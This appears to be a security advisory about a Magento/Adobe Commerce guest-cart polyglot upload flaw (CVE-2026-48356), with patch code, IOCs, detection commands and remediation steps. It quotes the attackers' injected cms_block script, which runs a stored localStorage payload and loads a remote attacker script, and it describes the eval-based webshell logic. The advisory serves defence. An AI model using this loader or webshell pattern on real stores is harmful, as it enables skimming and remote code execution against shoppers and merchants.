critical

CVE

CVE-2026-48356, CVE-2025-54236

CWE

CWE-434, CWE-79, CWE-94

Affected Surface

  • Adobe Commerce `2.4.9`, `2.4.8-p5` and earlier, `2.4.7-p10` and earlier, `2.4.6-p15` and earlier, `2.4.5-p17` and earlier, and `2.4.4-p18` and earlier without the `2026-jul` (`APSB26-73`) isolated security patch
  • Magento Open Source `2.4.9`, `2.4.8-p5` and earlier, `2.4.7-p10` and earlier, and `2.4.6-p15` and earlier (plus unsupported `<= 2.4.5`) without the `2026-jul` (`APSB26-73`) patch
  • Adobe Commerce B2B `1.5.3`, `1.5.2-p5` and earlier, `1.4.2-p10` and earlier, `1.3.4-p17` and earlier, and `1.3.3-p18` and earlier without `2026-jul`, and Adobe Commerce Webhooks / Events `1.6.0` through `1.20.0` (fixed in `1.21.0`)

TL;DR

On 27 October 2026, CISA added CVE-2026-48356 (tracked as PolyShell, CVSS v3.1 9.3 Critical on NVD and 9.6 Critical in Adobe’s bulletin, FIRST EPSS 30.58% / 98.2nd percentile) to its Known Exploited Vulnerabilities (KEV) Catalog alongside Google Brotli CVE-2026-111497, setting a federal remediation deadline of 10 November 2026.

  1. Unauthenticated guest-cart polyglot upload (CVE-2026-48356): In unpatched Adobe Commerce and Magento Open Source deployments, the anonymous REST API endpoints POST /V1/guest-carts/:cartId/items and PUT /V1/guest-carts/:cartId/items/:itemId accept a custom_options entry carrying base64-encoded file_info. Before the fix (commit 796c4ce195 and Adobe’s APSB26-73 2026-jul isolated patches), CustomOptionProcessor never checked whether the submitted option_id existed on the product, never checked whether the product had a file-type option, and did not run NotProtectedExtension. It checked only getimagesizefromstring(), letting unauthenticated callers drop GIF89a or PNG polyglots with .php, .phtml, or .phar filenames directly into pub/media/custom_options/quote/.
  2. Post-exploitation accesson.php persistence and the October 2026 deepveindrilling[.]com wave: Once a store’s nginx or Apache configuration executes a dropped polyglot (or serves an uploaded .html payload for stored XSS), operators spray a cookie-authenticated PHP backdoor (accesson.php, which prints 8194460 as a liveness beacon) across */assets/images/accesson.php in up to ten top-level directories (var/, app/, vendor/, pub/, lib/, bin/, setup/, generated/, bamboo-specs/, phpserver/). On 24 October 2026, Sansec reported that the group behind the March 2026 471-store PolyShell mass wave rotated its Magento cms_block loader to deepveindrilling[.]com on 7 October and rewrote the blocks again on 23 October with a WebGL/WebDriver anti-bot fingerprinter (?s=49b7ca5f&fp=) and a localStorage.getItem("fpCode") invisible-div click executor across 83 stores (part of 953 stores hit since July 2025).

What to do now:

  • Verify that Adobe’s APSB26-73 (2026-jul) isolated patch is applied on your exact release line (2.4.9, 2.4.8-p5, 2.4.7-p10, 2.4.6-p15, 2.4.5-p17, 2.4.4-p18) and update Adobe Commerce Events / Webhooks to >= 1.21.0.
  • Block execution in and HTTP access to pub/media/custom_options/ at the web server (before any \.php$ FastCGI location block in nginx).
  • Assume prior compromise before or after patching: Applying APSB26-73 closes the upload route but leaves previously planted pub/media/custom_options/ files, */assets/images/accesson.php backdoors, cms_block scripts, and rogue admin_user rows intact. Run the filesystem and SQL checks below and rotate database, admin, and integration credentials if any indicator matches.

Affected products and versions

ProductCVESeverityAffected versionsFixed version / patchVulnerable component
Adobe CommerceCVE-2026-48356CVSS 9.3 / 9.6 Critical2.4.9, <= 2.4.8-p5, <= 2.4.7-p10, <= 2.4.6-p15, <= 2.4.5-p17, <= 2.4.4-p182026-jul isolated patch (APSB26-73) for 2.4.4..2.4.9Magento\Catalog\Model\CustomOptions\CustomOptionProcessor, Magento\Quote\Model\Quote\Item\Repository
Magento Open SourceCVE-2026-48356CVSS 9.3 / 9.6 Critical2.4.9, <= 2.4.8-p5, <= 2.4.7-p10, <= 2.4.6-p15 (plus EOL <= 2.4.5)2026-jul isolated patch (APSB26-73) for 2.4.6..2.4.9REST /V1/guest-carts/:cartId/items custom-option file upload
Adobe Commerce B2BCVE-2026-48356CVSS 9.3 / 9.6 Critical1.5.3, <= 1.5.2-p5, <= 1.4.2-p10, <= 1.3.4-p17, <= 1.3.3-p182026-jul isolated patch (APSB26-73) for 1.3.3..1.5.3Custom-option cart item processor
Adobe Commerce Events / WebhooksCVE-2026-48356CVSS 9.3 / 9.6 Critical>= 1.6.0, <= 1.20.01.21.0Event/webhook payload handling

Technical analysis

1. Why /V1/guest-carts/:cartId/items accepted .php polyglots on products without file options

In Magento 2 and Adobe Commerce, the unauthenticated REST routes POST /V1/guest-carts/:cartId/items and PUT /V1/guest-carts/:cartId/items/:itemId invoke Magento\Quote\Model\Quote\Item\Repository::save(), which passes each item through registered CartItemProcessorInterface implementations, including Magento\Catalog\Model\CustomOptions\CustomOptionProcessor.

Before commit 796c4ce195 (ACP2E-4138, backported across supported release lines in APSB26-73), CustomOptionProcessor::convertToBuyRequest() inspected each submitted custom option. Whenever an entry included option_value == 'file' and a file_info extension attribute containing base64-encoded bytes, a MIME type, and a filename, Magento processed the upload into pub/media/custom_options/quote/ before verifying whether the target product even had custom options:

  1. No option_id or option-type check against the catalog product: An attacker could add any simple product in the catalog to a guest cart and attach a fabricated option_id (such as 780) with file_info.
  2. Header-only image validation (getimagesizefromstring) without extension filtering: The upload path checked that the decoded bytes began with a valid image header (such as GIF89a or an 8-byte PNG header) via getimagesizefromstring(), but never ran Magento\MediaStorage\Model\File\Validator\NotProtectedExtension on the caller-supplied filename (index.php, 780index.php, bypass.phtml, or Unicode-escaped \u0062\u0079\u0070\u0061\u0073\u0073.\u0070\u0068\u0070).

Commit 796c4ce195 closes both gaps by injecting CartItemCustomOptionsValidator into Magento\Quote\Model\Quote\Item\Repository (via webapi_rest/di.xml and webapi_soap/di.xml) and routing file options through Magento\Catalog\Model\Product\Option\Type\File\ImageContentProcessor, which extends Option\Type\File\Validator and enforces NotProtectedExtension plus the product option’s allowed file_extension list:

// app/code/Magento/Quote/Model/Quote/Item/CartItemCustomOptionsValidator.php (commit 796c4ce195)
foreach ($customOptions as $customOption) {
    $productOption = $product->getOptionById((int)$customOption->getOptionId());
    if ($productOption === null) {
        $errors[] = new Phrase('The product does not have the custom option with ID "%1".', [$customOption->getOptionId()]);
        continue;
    }
}
// app/code/Magento/Catalog/Model/CustomOptions/CustomOptionProcessor.php (commit 796c4ce195)
$productOption = $product->getOptionById($option->getOptionId());
if ($productOption && $productOption->getType() === ProductCustomOptionInterface::OPTION_TYPE_FILE_NAME) {
    $value = $this->imageContentProcessor->process($fileInfo, $productOption);
}

2. From PolyShell upload to accesson.php and the October 2026 deepveindrilling[.]com loader

Sansec’s forensic telemetry across 953 compromised stores shows a three-stage post-exploitation chain:

  1. Initial polyglot webshell in pub/media/custom_options/quote/: The uploaded GIF89a polyglot (index.php, 780index.php, rce.php, bypass.phtml) checks the d cookie against a hardcoded hash (a17028468cb2a870d460676d6d6da3ad63706778e3) or checks a double-MD5 password (4009d3fa8132195a2dab4dfa3affc8d2) via hash_equals(), then executes eval(base64_decode($_REQUEST["id"])) or system().
  2. Multi-directory accesson.php persistence: To survive pub/media/ cleanup, the attacker creates an assets/images/accesson.php file inside every writable top-level directory (var/assets/images/accesson.php, vendor/assets/images/accesson.php, app/assets/images/accesson.php, etc.). When requested without the auth cookie, accesson.php prints 8194460 (409723 * 20) so the operator can scan which paths remain executable.
  3. Database cms_block injection (deepveindrilling[.]com and localStorage.fpCode): Rather than modifying theme files or core_config_data, the operator injects a two-part loader into the cms_block.content column. Between 7 and 22 October 2026, infected stores served:
<!-- Injected into Magento cms_block.content (Sansec, October 2026) -->
<script>!function(){try{var c=localStorage.getItem("fpCode");if(c){var e=document.createElement("div");e.setAttribute("onclick",c);document.documentElement.appendChild(e);e.click();e.remove()}}catch(e){}}();</script>
<script src="https://deepveindrilling[.]com/?s=d35c5031"></script>

The first <script> reads fpCode from the shopper’s localStorage, attaches the payload string to the onclick attribute of a detached <div>, appends it to document.documentElement, triggers .click() (executing the JavaScript without calling eval()), and removes the node. Even if deepveindrilling[.]com is later blocked by DNS or CSP, any shopper whose browser cached fpCode on a prior visit re-executes the payload on every page view.

On 23 October 2026, the operator rewrote the cms_block rows across 71+ stores to replace the static <script src> tag with an inline fingerprinter that inspects navigator.webdriver, Selenium globals, ChromeDriver cdc_ properties, WebGL renderer strings, CPU cores, device memory, and client hints before requesting https://deepveindrilling[.]com/?s=49b7ca5f&fp=<fingerprint>. Headless scanners such as urlscan.io receive an empty HTTP 200 response.

IOCs

TypeIndicatorContext
Loader URLs (Oct 2026)https://deepveindrilling[.]com/?s=d35c5031, https://deepveindrilling[.]com/?s=49b7ca5f&fp=Stage-1 and Stage-2 fingerprinting loaders injected into cms_block.content (83 stores in Oct 2026)
Earlier TDS / loader URLshttps://additionalver[.]com/Mb2z8J, https://lanhd6549tdhse[.]top/KZtBscgb, https://neswnsssn[.]click/PKgJDPfF, https://manulfie[.]click/GKTD8cBz, https://hdfdsi84j3h[.]top/sFnnPFHm, https://c85grt98sd[.]com/1kYrdHKeitaro TDS loader URLs used by the same operator across 953 stores since July 2025
Next-stage domainshttps://leqdger[.]click/ssl/, https://crypto-insider[.]top/ssl/, jslibrary[.]net, canevaslab[.]comFollow-on scripts delivered to fingerprinted visitors
Browser localStorage keysfpCode, 136c1e07507f4a97, 136c1e07507f4a98Keys read by the cms_block div.onclick persistence snippet
Uploaded polyglot namesindex.php, <option_id>index.php (e.g., 780index.php), json-shell.php, bypass.phtml, c.php, r.php, rce.php, static.php, blocked-json.php, bypass-async.php, urlencode-shell.php, ato_poc.htmlFiles written under pub/media/custom_options/quote/ via /V1/guest-carts/:cartId/items
Sprayed backdoor paths{var,bamboo-specs,lib,app,vendor,pub,bin,setup,generated,phpserver}/assets/images/accesson.phpSecondary PHP webshell; outputs 8194460 (409723 * 20) and hashes cookie d against a17028468cb2a870d460676d6d6da3ad63706778e3 or 4009d3fa8132195a2dab4dfa3affc8d2

Detection and remediation

1. Hunt for uploaded polyglots, accesson.php shells, and cms_block loaders

Run these checks across every Adobe Commerce and Magento Open Source environment, even if APSB26-73 is already installed:

# 1. Find any non-.htaccess files in custom_options/ or customer_address/ upload directories
find pub/media/custom_options/ pub/media/customer_address/ -type f ! -name '.htaccess' 2>/dev/null

# 2. Flag executable extensions or GIF89a/PNG polyglots containing PHP tags anywhere under pub/media/
find pub/media/ -type f \( -iname '*.php*' -o -iname '*.phtml' -o -iname '*.phar' -o -iname '*.html' \) 2>/dev/null
rg -l '<\?(php|=)' pub/media/ 2>/dev/null

# 3. Search the entire document root for sprayed accesson.php backdoors or the 409723 / hash markers
find . -name 'accesson.php' -o -path '*/assets/images/*.php' 2>/dev/null
rg -n 'a17028468cb2a870d460676d6d6da3ad|4009d3fa8132195a2dab4dfa3affc8d2|8194460' \
  var/ app/ vendor/ pub/ lib/ bin/ setup/ generated/ 2>/dev/null

Query your Magento MySQL/MariaDB database for injected cms_block and cms_page loaders and rogue admin accounts (prepend your table prefix if configured):

-- Check cms_block and cms_page for localStorage.fpCode, Keitaro se_referrer, or loader domains
SELECT block_id, identifier, title, update_time
FROM cms_block
WHERE content LIKE '%fpCode%'
   OR content LIKE '%136c1e07507f4a9%'
   OR content LIKE '%se_referrer%'
   OR content LIKE '%localStorage.getItem%'
   OR content LIKE '%deepveindrilling%'
   OR content LIKE '%additionalver%'
   OR content LIKE '%lanhd6549tdhse%';

SELECT page_id, identifier, title, update_time
FROM cms_page
WHERE content LIKE '%fpCode%'
   OR content LIKE '%se_referrer%'
   OR content LIKE '%localStorage.getItem%'
   OR content LIKE '%deepveindrilling%';

-- Audit administrator accounts and recent modifications
SELECT user_id, username, email, created, modified, is_active FROM admin_user ORDER BY created DESC;

2. Apply APSB26-73 (2026-jul) and lock down pub/media/custom_options/

  1. Apply the APSB26-73 (2026-jul) patch and upgrade Webhooks: Apply Adobe’s July 2026 isolated patch (2026-jul) for your release line (2.4.9, 2.4.8-p5, 2.4.7-p10, 2.4.6-p15, 2.4.5-p17, 2.4.4-p18) and update magento/module-webhooks / Adobe Commerce Events to >= 1.21.0.
  2. Block pub/media/custom_options/ in nginx and Apache:
    • nginx: Place this location block before any location ~ \.php$ FastCGI handler so nginx never passes uploaded .php or .phtml files under pub/media/custom_options/ to PHP-FPM:
      location ~* ^/pub/media/custom_options/ {
          deny all;
          return 403;
      }
    • Apache: Confirm pub/media/custom_options/.htaccess exists and disables PHP execution (php_flag engine 0 and Deny from all / Require all denied).
  3. Eradicate persistence and rotate secrets on affected stores: If any file in pub/media/custom_options/, */assets/images/accesson.php, or cms_block matched the checks above, inspect running processes for unauthorized daemons (such as GSocket), remove the backdoors and injected CMS blocks, audit admin_user and oauth_token / integration tokens, and rotate database credentials, app/etc/env.php encryption keys (crypt/key), and admin passwords.

Timeline

  • 2025-07-09: First Magento stores observed serving the operator’s manulfie[.]click cms_block loader.
  • 2026-03-17 to 2026-03-30: Sansec publicly warns of PolyShell (CVE-2026-48356) as mass scanning hits 79.5% of monitored stores and breaches 471 stores in a single hour on 30 March (lanhd6549tdhse[.]top + accesson.php).
  • 2026-05-12: Adobe ships Magento / Adobe Commerce 2.4.9 containing commit 796c4ce195, initially without backports for 2.4.4 through 2.4.8.
  • 2026-07-14: Adobe publishes APSB26-73 (2026-jul), providing isolated patches across supported 2.4.4 through 2.4.9 and B2B 1.3.3 through 1.5.3 lines.
  • 2026-10-06 to 2026-10-07: Operator registers deepveindrilling[.]com and updates cms_block rows on 74+ compromised stores to use the localStorage.fpCode invisible-div loader.
  • 2026-10-23 to 2026-10-24: Operator updates the cms_block loader with client-side WebGL/WebDriver fingerprinting (?s=49b7ca5f&fp=); Sansec publishes full campaign IOCs across 953 cumulative victim stores.
  • 2026-10-27: CISA adds CVE-2026-48356 to the Known Exploited Vulnerabilities catalog with a 10 November 2026 federal remediation due date.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Use AI-native static analysis to find similar application vulnerabilities and generate review-ready fixes.

References